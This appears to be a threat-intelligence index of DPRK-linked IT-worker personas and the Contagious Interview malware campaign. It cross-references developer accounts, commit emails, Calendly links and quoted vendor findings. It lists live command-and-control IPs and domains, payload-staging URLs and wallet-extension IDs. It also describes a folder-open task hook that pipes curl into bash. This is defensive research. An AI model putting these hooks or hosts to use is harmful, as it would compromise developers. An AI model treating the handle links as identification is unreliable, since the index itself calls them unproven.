DPRK-linked GitHub activity.\n\nAn innocent reading was considered and set aside. A client who hires a contractor also creates repositories that the contractor then commits into, and nextnet-works, a company organisation with 266 repositories into which both SuperVenus0725 and loveFeynman committed in 2023, is left out for that reason. The six accounts above do not fit that reading: three were created within five hours of one another, they hold one another's code as portfolio, and they follow one another. KentaMori115 is also left out, because its only link is a 2023 copy of Juno-Farming carrying the persona's 2022 commits, which is how a copied repository looks.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/workwithhim, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: dev753951789@gmail.com authored 44 commits across 8 of its repositories, commits as \"workwithhim\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","The post numbers two identities, Wu Long with the address wulong701, and VenusGoldenEagle whose address it gives only as the name followed by the label \"[at Gmail]\", which is what supplies the domain here. The GitHub account is listed after both without being tied to either number, so it is recorded against the pair rather than split between them. The address venusgoldeagle@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","A composite image matching two freelancer profile photographs against faces in a crowd photograph taken in North Korea. One profile carries this name on freelancermap.de; the other is a senior software engineer listing giving Rowlett, Texas and a UTC-05:00 timezone, with the name withheld by the platform. The face matching is the researcher's evidence rather than a value, and the composite is not mirrored here because it shows people in a crowd who are not accused of anything.","Found on 17 September 2026 by asking Docker Hub whether an account exists under ican0220, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 4 August 2024. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- icandev0220 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Ican. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. The number is given as a Skype contact rather than a Skype identifier. The number is the same one the table gives against two other names, a link the document does not draw itself.","Found on 17 September 2026 by asking Docker Hub whether an account exists under stormrunner06106, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 3 May 2026. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/StormRunner06106, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: stormrunner06106@outlook.com authored 9 commits across 3 of its repositories, commits as \"StormRunner06106\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio's contact links, beside the stormrunner06106 address and GitHub account this site already holds for the persona, give a Telegram handle and a Discord username.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under accompany1205, a login the index already carries for this persona on another platform. The profile gives a member-since date of 29 May 2023. It displays \"Full-Stack & Blockchain Developer\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Read on 20 September 2026 by tallying which GitHub logins have authored commits in the repositories of github.com/accompany1205, an account already held under this persona. sirius1205 has authored sixteen of them. It was registered on 5 January 2023, three weeks after accompany1205 itself, holds one public repository, states no name, no bio, no location and no email address, and follows nobody and is followed by nobody. It shares the numeric suffix 1205 with the account whose repositories it commits in, which is the only thing beyond the commits that ties the two logins together and is a coincidence of naming rather than a value either account publishes. A commit establishes that whoever held that login wrote it, not that one person holds both accounts.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (accompany1205) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","The address is re-fanged from \"zhengcheng129 at outlook\", where the post's own label supplies the domain. Transcribed by hand from the screenshots in the cited post, read at full resolution. The profile capture shows the display name Zheng Cheng over the handle zhengcheng129, a headline of Mobile & Web Developer, a stated location of Liaoning, an account created in August 2017, and 3 following against 1 follower. The post carries a second image, a portrait of a different and older man, under the words \"Guess whoooo\". The post does not say who that portrait depicts, so it is not published here and no claim is made about it.","The post separately names github.com/NeonNexus0408 as the account this persona copied its portfolio site from, and characterizes that account as DPRK. It is recorded here as a related account, not as this persona's own.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- joun3910 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Joun. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 13 commits signed joun3910@gmail.com, an address browsercookies publishes for this persona, to github.com/kai-dev777, account id 211805368, created on 15 May 2025, display name 𝕂 | Sᴇɴɪᴏʀ Fᴜʟʟ-Sᴛᴀᴄᴋ 🄳🄴🅅, with 1 public repository.","The Rewards for Justice programme names this as one of the aliases under which North Korean IT workers obtained remote software and application development work at United States companies between about October 2020 and October 2023, using false identities belonging to more than sixty real United States persons, with Christina Chapman hosting their employer-issued laptops and handling their pay; it states the scheme generated at least $6.8 million for the DPRK and links the workers to the Munitions Industry Department. The notice publishes the alias and nothing else about it: no account, address or telephone number. It is an alias, so the real person whose name or details it may have been assembled from is not the worker. The notice describes Zhonghua as the manager of the other three rather than as a worker placed with an employer, and gives the name as a single word.","…Korean IP ranges. The Hong Kong host showed a more direct connection to DPRK IP space as it's ASN directly peers with Ryugyong-dong (AS131279), North Korea's primary AS. Due to the points listed above, and the fact that NetKey appeared to be active at time of infection, we're…","…Source Intelligence Menu Skip to content Home Websites Internet AS9341 – North Korea Government AS131279 – Ryugyong-dong 175.45.176.0/24 175.45.177.0/24 175.45.178.0/24 AS134544 – Cenbong Int’l Holdings Limited…","…no one noticed) April 11, 2019 Say hello to North Korea’s 3rd internet uplink! The North Korean autonomous system AS131279 just got a new uplink to AS133073 Teleglobal Communication Services Limited – which is assigned to Hong Kong, according to APNIC.…","…AS9341 – North Korea Government AS131279 – Ryugyong-dong 175.45.176.0/24 175.45.177.0/24 175.45.178.0/24 AS134544 – Cenbong Int’l Holdings Limited AS20485 – Joint Stock Company TransTeleCom Kwangmyong DNS Requests Software Media…","…(tracked as Famous Chollima, UNC5342, DeceptiveDevelopment, and Sapphire Sleet by various vendors). C2 hosting on RouterHosting/Cloudzy (AS14956): The C2 IP 216.126.237.71 is hosted on AS14956 (RouterHosting LLC, operating as Cloudzy), documented by FOFA as Contagious Interview’s…","…45.61.163.113 Microsoft typosquat secure.inteam.live 45.61.163.113 Subdomain of inteam.live cluster IP Addresses (all AS14956 RouterHosting LLC / Cloudzy) IP PTR Record 144.172.110.53 53.110.172.144.static.cloudzy.com 144.172.115.16…","…The current C2 is 51.210.65.37 (OVH FR, AS16276), listed on five threat-intelligence feeds as malware/C2, last listed 2026-11-06.…","…The infected hosts showing external IPs in Khabarovsk all originated from a /24 range within TransTeleCom (AS20485)'s IP space.…","…– Ryugyong-dong 175.45.176.0/24 175.45.177.0/24 175.45.178.0/24 AS134544 – Cenbong Int’l Holdings Limited AS20485 – Joint Stock Company TransTeleCom Kwangmyong DNS Requests Software Media Documents Photos Videos…","…analysis of the 66 extracted IP addresses revealed a significant concentration within a specific Russian telecommunications provider. AS20485 Joint Stock Company TransTeleCom (Russia): 7 IP addresses, 11 associated email accounts TransTeleCom is a major backbone…","…취업자들의 취업 활동이 이루어지는 주된 사이클로 판단합니다. 핵심 발견 5: 러시아 TransTeleCom이 핵심 인프라입니다 IP 66개를 ASN 기준으로 분류한 결과, 특정 러시아 통신사 ASN이 큰 비중임을 확인했습니다. AS20485 Joint Stock Company TransTeleCom (러시아): 7개 IP, 11개 이메일 계정 연결 TransTeleCom은 러시아의 주요 백본 통신 사업자입니다.…","…3, 2019 at 16:00 UTC. North Korea currently has 2 existing uplinks, one via China (AS4837 China Unicom Backbone) and another via Russia (AS20485 Closed Joint Stock Company TransTeleCom).…","…as we identified back in April , the 175.45.176.0/22 range is routed by both China Unicom ( AS4837 ) and Russia’s TransTelekom ( AS20485 ).…","…and Automated Deployment # parser.js is a simple but effective RAT that connects to 103.106.67.63:1244 , hosted on ReliableSite.Net LLC (AS23470) and awaits commands.…","…The :1224 servers cluster on one US bulletproof host, Majestic Hosting Solutions, AS396073, the network the SpinServers brand runs on, and the operators leave the same two doors open on each box: 1224 for the malware, 3389 for the…","…was identified through the previous malware pivot. Since August 12, 2024, the domain lianxinxiao.com has resolved to 37.211.126.117 on AS44477 Stark Industries Solutions LTD. Silent Push Total View for lianxinxiao.com Knowing that the infrastructure was still online, we…","…META-IP Results Additional Autonomous Systems are represented, such as AS 30860, AS 27956, AS 16509, AS47583, and AS 54290.…","…on 2026-01-15) microsmeet.xyz (Created on 2025-11-07) supportzm.com (Created on 2025-06-30) IP Addresses 23.254.130.131 (Hostwinds AS54290) 23.254.204.184 (Hostwinds AS54290) File Paths / File names…","…identical User-Agent across 3 years Same libcurl C2 pattern (POST, 60s beacon, Base64 JSON) Same Hostwinds AS54290 infrastructure (same /18 netblock) NukeSped AV classification (Lazarus-exclusive) Developer persona rotation consistent with documented…","…swaps in clean v4.2.0 stub C2 infrastructure links to TA444/BlueNoroff (DPRK) via shared ETag with known JustJoin server, same Hostwinds AS54290 subnet, and NukeSped malware classification Here is how the whole thing played out. Attack Timeline Here's how the whole thing plays…","…This IP is located in AS54290 belonging to Hostwinds LLC.…","…operations from Moscow. IP Enrichment 213.87.149.35 Location: Moscow, Moscow Country: Russia ASN: AS8359 MTS PJSC 213.87.90.110 Location: Moscow, Moscow Country: Russia ASN: AS8359 MTS PJSC 213.87.144.144…","…from Internet Scanning and Open Source Intelligence Menu Skip to content Home Websites Internet AS9341 – North Korea Government AS131279 – Ryugyong-dong 175.45.176.0/24 175.45.177.0/24 175.45.178.0/24 AS134544 –…","…URL:https://github.com/neymafullstack URL:https://github.com/swiftcode1121 URL:https://github.com/ghost URL:https://calendly.com/7codewizard/30min URL:https://jackson-portfolio.vercel.app URL:https://www.linkedin.com/in/jackson-kidd-1680b2339/…","…The notable difference is that this second message includes a Calendly scheduling link: https://calendly.com/7codewizard/30min - instructing the recipient to schedule a meeting Figure 24: Calendly 7codewizard already reported:…","…Email Addresses: truepartner312@gmail.com motosimasuo@gmail.com jacksummers0822@gmail.com Calendly url: https://calendly.com/7codewizard/30min https://calendly.com/davidcolman002/30min Wallet Address: 14iULn6TYRmawsxazqR2xwWVuyDXc8ycGjg7ppJ15qVKctEN (Used in the…","…to a Calendly.com account for “bigrocks918geek” – further confirming ties between the brand and this persona: angeloper.com referenced a calendly.com/bigrocks918geek/30min page We discovered the domain angeloperonline.online was hosted on Stark Industries’ IP address, 95.164.33.66, which also has a…","…- t.me/codeninja819_eth (ID: 6418622184) • ([Messages](./user-6418622184-@codeninja819_eth.txt)) - x.com/codeninja819 - calendly.com/codeninja819 - stackoverflow.com/users/21336694/codeninja819 - linktr.ee/codeninja819 - ![](./X_2025-11-22_codeninja819.jpg) -…","…about the organization included: Website: Blocknovas.com Phone: +1 (925) 953-2975 Email: contact@blocknovas.com Calendly Link: calendly.com/contact-blocknovas/30min Additionally, BlockNovas had a presence on several social media platforms and services: LinkedIn:…","…motosimasuo@gmail.com jacksummers0822@gmail.com Calendly url: https://calendly.com/7codewizard/30min https://calendly.com/davidcolman002/30min Wallet Address: 14iULn6TYRmawsxazqR2xwWVuyDXc8ycGjg7ppJ15qVKctEN (Used in the AssetX scam proposals on the Polkadot…","The report gives m4rcu5o an active X account and an older Telegram handle, and notes that m4rcu5o's Calendly page uses the same name as AnotherRusty's.","…Portfolio: matthiasli.com (shared with AnotherRusty) Moreover, m4rcu50o ’s Calendly uses the same name as AnotherRusty: https://calendly.com/nailrusty-dev/30min We can also see a lot of ‘credibility boosting’ projects contained in m4rcu5o ’s portfolio. As well as some efforts for what is…","…= “crash the bad guys” Social-engineering infra: ritualhub.net , crew@ritualhub.net , michael.peter.hq@gmail.com , calendly.com/ritual-join ; recruiter persona “Anne” (named in the second-pass table below), interviewer “Doran” First-hand, second pass (2026-07-11/12; found…","…or full-time flexibility, and pre-call review of documentation, video, and a \"codebase snapshot.\" The recruiter supplied: - Calendly: `https://calendly.com/wallace55/30mins` - LimeWire delivery URL: `https://limewire.com/d/vlTzy#wGXKqgjp2B` The contact identified the purported hiring manager as…","Read on 28 September 2026 from the site's own page and the script bundles it loads. The GitHub Pages site the DPRK GitHub employment-fraud report names presents a Yoshiro Morino and gives an address, a phone number, a LinkedIn profile, a Telegram handle and a Calendly booking page; the site is served from the GitHub account ninjadev0329, which is carried with it. The site is not tied to a named persona, so the set is filed unattributed.","…@aloz8333 - GitHub: https://github.com/altbee - aleezebetbet@gmail.com - github.com/altbee - docsend.com/view/un8xsabjr8k758uj - calendly.com/zerobit417/30min - portfolio-austin.netlify.app - https://archive.ph/rTInN - ![](./2026-03-09_altbee.png) -…","…// Coinbase wallet Chrome extension “ibnejdfjmmpclnpebklmkoeihcooifec”, // TronLink wallet Extension “bfnaelmojmeihmhpjngjophjhpkljopa”, // Phantom wallet Chrome extension “hifafgmccecpkonpjkcfgodnhcellj”, // Crypto.com wallet Chrome…","…/jay-software-lead/ https://www.linkedin.com/in/andrew-christopher/ https://medium.com/@apollo000104 https://medium.com/@applekevin10141106 https://codesandbox.io/u/apple.star0072 https://yhype.me/github/@branchdev98 https://repos.ecosyste.ms/hosts/GitHub/owners/athenaweb629 https://codesandbox.io/u/benbarker0311 http…","…106 https://codesandbox.io/u/apple.star0072 https://yhype.me/github/@branchdev98 https://repos.ecosyste.ms/hosts/GitHub/owners/athenaweb629 https://codesandbox.io/u/benbarker0311 https://www.remotehub.com/alexwang1030 https://yhype.me/github/@BlackSpider8391 https://yhype.me/github/@happydev0126 https://www.idcrawl.c…","…: Found helemonar2023 for remote work https://codesandbox.io/u/hfish7789 https://codesandbox.io/u/intrepid.arctic.scavenger https://www.npmjs.com/package/@joinerdavid0213/polkadot-connect https://forum.dfinity.or…","…: Found helemonar2023 for remote work https://codesandbox.io/u/hfish7789 https://codesandbox.io/u/intrepid.arctic.scavenger https://www.npmjs.com/package/@joinerdavid0213/polkadot-connect https://forum.dfinity.org/u/kakashie1004/summary https://sketchfab.com/kenn…","….org/u/leonohlin0123/summary https://crowdworks-jp.translate.goog/public/employees/4982495?_x_tr_sl=ja&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc https://codesandbox.io/u/mateomuhannad https://dev.to/melodydev0521 https://www.melodyxpot.com/ https://yhype.me/github/@paramountsky9990 https://codesandbox.io/u/paul.krumme1416…","…c https://codesandbox.io/u/mateomuhannad https://dev.to/melodydev0521 https://www.melodyxpot.com/ https://yhype.me/github/@paramountsky9990 https://codesandbox.io/u/paul.krumme14163 https://harufuji.vercel.app/ https://socket.dev/npm/user/prettyblueberry https://github.com/paulrsilva-dev/whats-app-bot-chrome-extension h…","…on https://yhype.me/github/@starking0408 https://thecrazydev-454b7.web.app/ https://faun.dev/@tekmickey0118/ https://devpost.com/tenochbush https://codesandbox.io/u/tiggon112 https://yhype.me/github/@topbrightdev https://yhype.me/github/@topstardev0127 https://yhype.me/github/@toptal126 https://pubhtml5.com/azwe/…","…ype.me/github/@topstardev0127 https://yhype.me/github/@toptal126 https://pubhtml5.com/azwe/rvxz/basic/ https://kiyoshi-araki-v2.vercel.app/ https://codesandbox.io/u/workbee49 https://coffee-code.netlify.app https://code.grida.co/ https://cosmichive.com/blog/fullstack-nextjs-ecommerce-2/ https://joiner-for.vercel.…","Profiles the same post connects to Jackson Mori by a recycled bio line, a duplicated work history or a reused photograph, without claiming each is the same operator: an Upwork profile and a web3.career profile with the bio (the latter linking the DPRK-flagged vigorousdeveloper account), a Xing profile as Thomas Mullan and two X accounts with the same photograph, a Freelancer profile under the handle toptrust32, a Freelancer profile as Zhang J the post calls fraudulent and a Freelancermap profile it notes browsercookies reported as a DPRK IT worker, and the Anttoni Viitala identity (legendaryangelist on GitHub, Medium and Devpost) using the Jackson Mori image.","…* Same Profile Photo as the now dead phantom-98 ----------------- ### Andrew Costure * DEV Community: https://dev.to/andrew_costure_2611 * Contains photo of the actor ---------- ## Unplaced accounts of interest * https://github.com/top0329 * Stargazing known DPRK *…","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under apollo0102, a login the index already carries for this persona on another platform. It gives a joined date of Feb 19, 2022. It displays the name apollo0102, the same name the reporting already gives. The profile links a GitHub account, apollo0102. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","…BTC415 and luckypenny1632333 * As such, also used by Mark Limuel Santiago * DEV Community 1: https://dev.to/dodger213 * DEV Community 2: https://dev.to/btc415 * Also linked to BTC415 used by Mark Limuel Santiago * Bio states, \"Technical Co-founder of TAOI\" * Telegram 1:…","…were found commenting on a dev.to article, which led to the discovery of a second cluster centered around a persona named Kolin Kojima: https://dev.to/darkbranchcore/when-debugging-became-belonging-what-nearly-15-years-of-helping-developers-taught-me-3amg/comments The “Kolin Kojima” persona maintains…","…Phoenix - 0x79dF0940195e41ED149d1df13C709A55438439a2 #### David Wenske - June 2025, Nov 2025 - https://dev.to/david_wenske_0b5dfdc82e27/mercor-unpaid-for-my-work-28j6 - https://www.instagram.com/reel/DLU7dNFMZV8/?hl=en #### Jimmy Pacheco - Nov 2025 -…","…* Same profile photo as BTC415 and luckypenny1632333 * As such, also used by Mark Limuel Santiago * DEV Community 1: https://dev.to/dodger213 * DEV Community 2: https://dev.to/btc415 * Also linked to BTC415 used by Mark Limuel Santiago * Bio states, \"Technical Co-founder of…","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under dreamboat999, a login the index already carries for this persona on another platform. It gives a joined date of Jul 17, 2022. It displays \"DreamBoat\", a display name rather than a person's name. The profile links a GitHub account, dreamboat999. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","…Email: sebastian.robinson.info@gmail.com ----------------- ### Ichikawa Hiroshi * GitHub: https://github.com/0xichikawa * DEV Community: https://dev.to/ichikawa0822 * Daily Dev: https://app.daily.dev/ichikawahiroshi ----------------- ### Shiro Ennosuke / Pavlo Posternak * GitHub 1:…","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under jusdy, a login the index already carries for this persona on another platform. It gives a joined date of Oct 14, 2021. It displays the name jusdy, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","…ie1004/summary https://sketchfab.com/kennydavis120 https://remoteok.com/@kodakdominus https://community.openai.com/u/korvalev234234/summary https://dev.to/korvalev234234 https://dev.to/phoenixdevguru https://workspace.ru/id/maksim-shevchenko-2/ https://discourse.threejs.org/u/leonohlin0123/summary https://cr…","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under kstar0102, a login the index already carries for this persona on another platform. It gives a joined date of Mar 31, 2021. It displays \"Super Dev\", a display name rather than a person's name. The profile links a GitHub account, kstar0102. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","…Also linked to BTC415 used by Steven Leal * Portfolio: https://marksantiago.top/ * Twitter: https://x.com/marksantiago02 DEV Community 1: https://dev.to/mark_santiago_e06e6e05869 * DEV Community 2: https://dev.to/btc415 * Bio states, \"Technical Co-founder of TAOI\" * Also linked to BTC415 used by Steven Leal *…","…owdworks-jp.translate.goog/public/employees/4982495?_x_tr_sl=ja&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=sc https://codesandbox.io/u/mateomuhannad https://dev.to/melodydev0521 https://www.melodyxpot.com/ https://yhype.me/github/@paramountsky9990 https://codesandbox.io/u/paul.krumme14163 https://harufuji.vercel.app…","…Email 2: shiroennosuke@outlook.com * Skype: live:.cid.3e86d89d20526f6b * Telegram: https://t.me/oh9898 * Daily DEV 2: https://dev.to/pavlo_posternak_4fe8f9439 * Same Profile Photo as the now dead phantom-98 ----------------- ### Andrew Costure * DEV Community: https://dev.to/andrew_costure_2611…","…ab.com/kennydavis120 https://remoteok.com/@kodakdominus https://community.openai.com/u/korvalev234234/summary https://dev.to/korvalev234234 https://dev.to/phoenixdevguru https://workspace.ru/id/maksim-shevchenko-2/ https://discourse.threejs.org/u/leonohlin0123/summary https://crowdworks-jp.translate.goog/pub…","…github.com/nevermindhim - github.com/verytinydever - linkedin.com/in/scott-brown-b947ba29a - linkedin.com/in/scott-brown-813445279 - dev.to/scott_brown_b611d05a865cf - www.impaxrecruitment.com/wp-content/uploads/elementor/forms/6786f200b23aa.pdf - 0x3b8cc82f5d3ec89d88c58504ecfefe4597020840 -…","…https://portfolio-sebastian-robinson-74.vercel.app/ * Contains photo of the actor * Photo matches DEV Community photo * DEV Community: https://dev.to/sebastian_robinson_64 * Contains photo of the actor * Photo matches portfolio photo * Email: sebastian.robinson.info@gmail.com ----------------- ### Ichikawa…","Read on 13 September 2026 from the page cited. The dev.to account spectrecoder presents as SpectreCoder and dates its registration to 21 September 2024. It gives its education as Universiti Utara Malaysia and its work as Lead Developer, lists Solidity, Rust, Move, Func, TypeScript, Python, Go, PyTorch and TensorFlow among its languages, and says it is working on blockchain NFT projects and learning artificial intelligence. It has published no posts and written no comments, and follows 27 tags. Its one outbound link is github.com/spectrecoder, which now returns 404. The handle is the same string as the Freelancer account freelancer.com/u/spectrecoder, which the reporting files under Aldino Saputra, and the two profiles describe the same line of work. This site does not treat that as enough to call them one operator: a handle is an account name rather than a person, and two identities are joined here only where they share an indicator value. The entry therefore stands on its own, so the observation is recorded and reachable by the handle; should a value shared with that persona appear, the two will join on it.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under trentist, a login the index already carries for this persona on another platform. It gives a joined date of Sep 10, 2026. It displays \"Jonathan\", a display name rather than a person's name. The profile links a GitHub account, Trentist. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under tysonstar912913, a login the index already carries for this persona on another platform. It gives a joined date of Oct 30, 2021. It displays \"Web & Blockchain Expert\", a display name rather than a person's name. The profile links a GitHub account, tysonstar912913. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Accounts the report gives for the GitHub account AnotherRusty, one of the DPRK IT workers in the organisations it examines: an active X account, a Discord account (username rusty102, id 397440130744320035) and a personal portfolio domain.","Found on 17 September 2026 by asking Docker Hub whether an account exists under goldentechie, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 20 May 2022. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under mbenz12, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 20 September 2023. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under whisdev, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 18 October 2019. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Command-and-control or payload-staging host listed by Socket for the July to October 2025 Contagious Interview npm wave of 338 packages.","…144.172.105.235 144.172.112.106 146.70.253.107 23.127.202.249 23.227.202.244 http://fashdefi.store:6168/defy/v7 https://0927.vercel.app/api/ipcheck https://api.npoint.io/b964566497d98298d32c https://ip-check-server.vercel.app/api/ip-check/208…","Command-and-control or payload-staging host for the XORIndex and HexEval loaders in the July 2025 Contagious Interview npm wave, reported by Socket.","…The five known endpoints include: https://soc-log.vercel.app/api/ipcheck https://1215.vercel.app/api/ipcheck https://log-writter.vercel.app/api/ipcheck https://process-log-update.vercel.app/api/ipcheck…","Original PolinRider C2 subdomain, in use before March 2026. All PolinRider Vercel subdomains follow the URL pattern https://<subdomain>.vercel.app/settings/(mac|linux|win)?flag=<N> and are weaponized via a .vscode/tasks.json entry set to runOn: folderOpen, executing curl | bash against the subdomain on project open. Reported by OpenSourceMalware.","…filename:package.json (7 known malicious packages) GitHub Code Search 46 7 <url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app) GitHub Code Search 145 8 \"default-configuration.vercel.app\" + 4 sibling vscode-*.vercel.app subdomains GitHub Code Search 94 9…","…(config file) 4 (config file, .vscode/tasks.json , fake .woff2 font, malicious npm dep) +3 Distinct C2 subdomains documented 1 ( 260120.vercel.app ) 6+ (see C2 Infrastructure ) +5 Known weaponized take-home templates 0 2+ (ShoeVista, StakingGame) +2 April…","The report states HyperbuildX is fully operated by DPRK IT workers. Its address was first hyperbuildx@adamglab.dev and later admin@hyperbuildx.com; adamglab.dev is the portfolio domain the report says justshiftjk used.","…/Library/RestoreKey/com.apple.updater.wake /Users/Shared/.pwd C2 domains zoom-tech.us ajayplamingo.com zmwebsdk.com IP address 23.254.203.244 Additional domains likely registered under the same actor:…","Secondary front-company domain in the same cluster as blocknovas.com. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","Lookalike variant domain of angeloper.com. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","Command-and-control or payload-staging host for the April 2026 cross-ecosystem Contagious Interview wave, reported by Socket.","…hidden in apachelicense/core.py ’s find_by_key() function, which hands execution to a staged loader in custom_util.py that contacts apachelicense.vercel.app , retrieves a downloadUrl , downloads ecw_update.zip , and launches platform-specific payloads.…","…On Windows, the PHP package fetches an additional encoded second stage from apachelicense.vercel.app/getAddress?platform=logmain&id=LOG , decodes it, and launches it with -c . Related: One Boolean parameter broke authentication…","…/api/validate/project-env /api/validate/system-info C2 domains and IP addresses: 45.61.161.146 45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com…","…/api/validate/system-info C2 domains and IP addresses: 45.61.161.146 45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top…","…exfiltration (/pawr/ endpoint) C2 Domains: api.videodriverzone.cloud api.videotechdrivers.cloud api.driversnap.cloud api.camdriverstore.cloud api.driverstream.cloud nvidiasdk.fly.dev Payload Staging:…","…-- Credential exfiltration (/pawr/ endpoint) C2 Domains: api.videodriverzone.cloud api.videotechdrivers.cloud api.driversnap.cloud api.camdriverstore.cloud api.driverstream.cloud nvidiasdk.fly.dev Payload Staging:…","…C2 Domains: api.videodriverzone.cloud api.videotechdrivers.cloud api.driversnap.cloud api.camdriverstore.cloud api.driverstream.cloud nvidiasdk.fly.dev Payload Staging: https://raw.githubusercontent.com/RominaMabelRamirez/dify/refs/heads/bai/api/*…","…C2 domains and IP addresses: 45.61.161.146 45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top…","…domains and IP addresses: 45.61.161.146 45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app…","…45.61.161.146 45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink…","…C2 45.59.163.23:1244 -- ThreatFox-documented C2 172.86.93.139:3000 -- Credential exfiltration (/pawr/ endpoint) C2 Domains: api.videodriverzone.cloud api.videotechdrivers.cloud api.driversnap.cloud api.camdriverstore.cloud api.driverstream.cloud nvidiasdk.fly.dev…","…C2 172.86.93.139:3000 -- Credential exfiltration (/pawr/ endpoint) C2 Domains: api.videodriverzone.cloud api.videotechdrivers.cloud api.driversnap.cloud api.camdriverstore.cloud api.driverstream.cloud 